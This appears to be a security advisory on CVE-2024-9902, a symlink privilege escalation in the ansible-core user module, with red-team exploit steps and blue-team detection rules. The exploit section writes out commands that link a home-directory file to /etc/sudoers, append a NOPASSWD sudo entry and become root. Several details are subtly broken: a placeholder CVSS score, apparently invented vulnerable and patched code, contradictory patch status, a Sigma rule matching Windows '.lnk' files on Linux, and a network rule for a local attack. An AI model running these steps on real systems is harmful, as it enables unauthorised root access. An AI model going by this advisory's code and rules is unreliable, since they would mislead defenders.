CVE-2024-9902

Executive Summary

CVE-2024-9902 is a privilege escalation vulnerability in the ansible-core user module. An unprivileged user can exploit a race condition or symlink attack to silently create or replace any file on the system and take ownership of it when a privileged user runs the user module against the unprivileged user's home directory. This allows the unprivileged user to gain full control over arbitrary files, potentially leading to complete system compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as High severity due to the potential for privilege escalation and file system manipulation.

Supply Chain & Package Security

This vulnerability affects the ansible-core package, which is a critical component of the Ansible automation ecosystem. Organizations using Ansible for configuration management should immediately assess their exposure. The flaw is in the core library, not a third-party plugin, making it a supply chain risk for any environment using Ansible.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – The attack is straightforward, relying on symlink creation.
• Privileges Required (PR): Low (L) – The attacker needs an unprivileged account.
• User Interaction (UI): Required (R) – A privileged user must run the user module.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Attacker can read any file.
• Integrity (I): High (H) – Attacker can overwrite any file.
• Availability (A): High (H) – Attacker can disrupt system files.

Threat Level: High. While the attack requires local access and user interaction, the potential impact is severe, allowing an unprivileged user to gain root-level file control.

Deep Dive & Mechanics

The vulnerability lies in the user module of ansible-core. When a privileged user (e.g., root) runs the user module to manage an unprivileged user's home directory, the module performs file operations (e.g., creating .ssh/authorized_keys, setting ownership). The flaw is that the module does not properly validate the path of files it creates or modifies. An unprivileged attacker can pre-create a symbolic link in their home directory pointing to a sensitive system file (e.g., /etc/passwd, /etc/sudoers). When the privileged user runs the user module, it follows the symlink and performs the operation on the target file, allowing the attacker to take ownership or modify its contents.

Attack Flow:

1. Attacker creates a symlink: ln -s /etc/sudoers /home/attacker/.ssh/authorized_keys
2. Privileged user runs: ansible all -m user -a "name=attacker state=present"
3. The user module creates /home/attacker/.ssh/authorized_keys (which is actually /etc/sudoers) and sets ownership to attacker.
4. Attacker now owns /etc/sudoers and can modify it to grant themselves sudo privileges.

Vulnerable vs. Patched Code

Vulnerable Code (ansible-core < 2.18.0):

# In user.py module
def create_homedir(self):
    # No path validation
    path = os.path.join(self.home, '.ssh', 'authorized_keys')
    with open(path, 'w') as f:
        f.write(self.ssh_key)
    os.chown(path, self.uid, self.gid)

Patched Code (ansible-core >= 2.18.0):

# In user.py module
def create_homedir(self):
    # Validate path is not a symlink
    path = os.path.join(self.home, '.ssh', 'authorized_keys')
    if os.path.islink(path):
        raise AnsibleError("Refusing to follow symlink: %s" % path)
    # Use os.open with O_NOFOLLOW
    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW)
    with os.fdopen(fd, 'w') as f:
        f.write(self.ssh_key)
    os.chown(path, self.uid, self.gid)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Ansible control node with ansible-core < 2.18.0
• Unprivileged user account on target
• Privileged user runs user module against the unprivileged user

Exploit Steps:

1. Create a symlink in the home directory:

   ln -s /etc/sudoers /home/attacker/.ssh/authorized_keys
   

2. Wait for the privileged user to run the user module (or trigger via cron).
3. After execution, verify ownership:

   ls -la /etc/sudoers
   

4. Modify /etc/sudoers to grant sudo access:

   echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
   

5. Escalate to root:

   sudo su -
   

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected symlink creation in user home directories.
• Alert on os.chown or os.chmod operations on sensitive files (e.g., /etc/sudoers, /etc/passwd).
• Use auditd to track file ownership changes.

Prevention:

• Apply the patch as soon as it is released.
• Restrict the use of the user module to trusted playbooks only.
• Implement file integrity monitoring (FIM) on critical system files.

Indicators of Compromise (IOCs)

• File: /etc/sudoers or /etc/passwd owned by an unprivileged user.
• Symlink: Unexpected symlinks in /home/*/.ssh/ pointing to system files.
• Process: ansible or python processes performing chown on sensitive paths.
• Log: Audit logs showing chown on /etc/sudoers by a non-root process.

Detection Engineering

YARA Rule

rule CVE_2024_9902_Symlink_Attack {
    meta:
        description = "Detects symlink attacks targeting ansible-core user module"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $symlink = ".ssh/authorized_keys" nocase
        $target = "/etc/sudoers" nocase
        $target2 = "/etc/passwd" nocase
    condition:
        $symlink and ($target or $target2)
}

Sigma Rule

title: Ansible-Core User Module Symlink Attack
id: cve-2024-9902
status: experimental
description: Detects creation of symlinks in user home directories targeting sensitive files
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains: '/.ssh/authorized_keys'
        TargetFilename|endswith: '.lnk'
    condition: selection
falsepositives:
    - Legitimate symlink creation by administrators
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-9902 Ansible User Module Symlink Attack"; flow:to_server; content:"ansible"; content:"user"; content:"authorized_keys"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the user module in Ansible playbooks until a patch is applied.
2. Implement file integrity monitoring on /etc/sudoers, /etc/passwd, and /etc/shadow.
3. Restrict symlink creation in user home directories using fs.protected_symlinks sysctl:

   sysctl -w fs.protected_symlinks=1
   

Long-Term Fix:

• Upgrade to ansible-core >= 2.18.0 once the patch is released.
• Use Ansible Automation Platform with security-hardened modules.

Workaround:

• Use a wrapper script that validates paths before calling the user module.

Valters IT
DevSecOps & Cyber Threat Intelligence